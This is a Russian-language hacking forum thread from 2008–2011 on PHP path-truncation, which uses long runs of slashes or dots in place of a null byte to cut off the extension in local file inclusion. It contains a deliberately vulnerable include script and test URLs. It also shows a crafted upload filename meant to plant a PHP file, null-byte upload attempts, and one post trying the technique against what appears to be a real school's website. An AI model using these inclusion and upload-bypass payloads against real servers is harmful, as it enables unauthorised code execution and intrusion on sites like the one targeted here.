Статьи [новый способ] замена нулл-байту в инклудах

Discussion in 'Статьи' started by [Raz0r], 29 Dec 2008.

  1. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    так если режеться - то что ты хочешь то? Об этом и тема - что можо так отсекать расширение
     
    1 person likes this.
  2. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Я не о том - я о том,что пример выложен в теге
    Code:
     с некуёвым количеством ./.Как мне убедиться в  работе бага  ?
     
  3. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Вот это сильно.../etc/hosts в WinXP..отсыпь) :D


    зы: и кстати, все работает.
     
    1 person likes this.
  4. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
     
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    не забывайте, что если в инклуде указан абсолютный путь то этот способ работать не будет, т.к не вызывается getcwd()
     
    1 person likes this.
  6. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Прошу прощение за поднятия темы, тестил я сабж, работает!
    Тестил под виндой:
    //////////////////////////////[...]
    Конфигурация:
    Apache 2.2
    PHP 5.2.4
     
  7. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91

    На nginx ограничение что-то вроде 4079 символов после /, т.е. http://localhost/[4079 символов], значит работать не будет. Кстати в этом месте в nginx есть переполнение, в сентябре нашли.
     
  8. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Мб туповатый вопрос, но при
    PHP:
    [...]
    $imageName $_FILES['myImage']['name'];
    move_uploaded_file($_FILES['myImage']['tmp_name'], "images/" $imageName);
    [...]
    этот баг сработает?
     
  9. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Хм, у меня тоже не сработало, значит функция file_exists() не подвержена уязвимости.

    U.P.D. Но возможно многие функции, работающие с файлами подвержены. Надо найти причину в исходниках.

    Хм, по идее нет, проверю - отпишу... А вообще...

    Надо сначала научиться создавать файлы с длиной имени в 4096 символов)
     
    #69 Root-access, 15 Mar 2010
    Last edited: 16 Mar 2010
  10. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Code:
    --UPLOAD_DATA_8CA3
    Content-Disposition: form-data; name=file; filename=pwnd.php[//////].jpg
    Content-Type: image/jpeg
    Content-Transfer-Encoding: binary
     
  11. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Нет, этот трюк не выходит. То есть если писать набор слешей, они воспринимаются, как переход к новой директории, и расширение не обрезается. Если писать точки, тоже не выходит...
     
    #71 Root-access, 16 Mar 2010
    Last edited: 16 Mar 2010
  12. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    win xp sp2
    Server API Apache 2.0 Handler
    PHP Version 5.3.1
    Apache/2.2.4
    allow_url_fopen On
    allow_url_include Off


    1.php
    PHP:
    include ($_GET['f'].'.php');

    if(
    $yes)
     {
     echo 
    '<br>использовано ".": '.strlen($_GET['f']);
     }
    lol.txt
    Code:
    12345
    <?$yes=1?>
    Инклуд с текущего каталога!
    Code:
    http://localhost/include/1.php?f=lol.txt[.]
    http://localhost/include/1.php?f=lol.txt[%20]
    http://localhost/include/1.php?f=lol.txt[%22]
    http://localhost/include/1.php?f=lol.txt[.%20]
    
    За пределы!
    Code:
    http://localhost/include/1.php?f=inc/lol.txt[.]
    etc
    
    :)чтоб была ясна - не работает баг!
     
    #72 Strilo4ka, 20 Mar 2010
    Last edited: 20 Mar 2010
    1 person likes this.
  13. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Strilo4ka не совсем понял что ты имела ввиду. есть такая вещь как php suhosin patch.
    с последними версиями этого патча. ни нул байт не работает, ни обрезание строк.
     
  14. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Strilo4ka, в php 5.3+ бага закрыта
     
  15. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    PHP Version 4.4.9
    Linux
    Apache 2.*
    Никак не могу отбросить .php но блин как чувствую должно работать, кто нибудь эксперементировал на подобной версии?
     
  16. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    зачастую бывает просто пишет "превышен лимит значений" и все:) и ничего интерестного просто непроисходит....

    Code:
    http://www.sman1-tasik.sch.id/index.php?exec=/home/sloki/user/h21071/sites/sman1-tasik.sch.id/www/theme/Demo/index.php////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    ALERT - configured GET variable value length limit exceeded - dropped variable 'exec' (attacker '00.000.000.000', file '/s/www.sman1-tasik.sch.id/www/index.php') X-Powered-By: PHP/5.2.6-1+lenny8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: maxrow=20; expires=Fri, 03-Jun-2011 17:00:00 GMT Set-Cookie: uselang=Indonesia; expires=Fri, 03-Jun-2011 17:00:00 GMT Set-Cookie: theme=Demo; expires=Fri, 03-Jun-2011 17:00:00 GMT Content-type: text/html
     
  17. GoldCode

    GoldCode New Member

    Joined:
    13 Mar 2011
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    а с move_uploaded_file будет работать?

    посылаю пост запрос с нуливым байтом!?
    выдает \0

    HTML:
    Warning: move_uploaded_file(/projects/site/users/62/reports/1.php\0/reports/4d8078ebd79d5.doc) [function.move-uploaded-file]: failed to open stream: No such file or directory in /var/www/html/eas/php/upload.php on line 31
    HTML:
    Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move '/tmp/php52EQap' to '/projects/livni/site/62/reports/1.php\0/reports/4d8078ebd79d5.doc' in /var/www/html/eas/php/upload.php on line 31

    потом пытаюсь послать куча слешов да он обрезает /reports/4d8078ebd79d5.doc но также слэши остаюстся...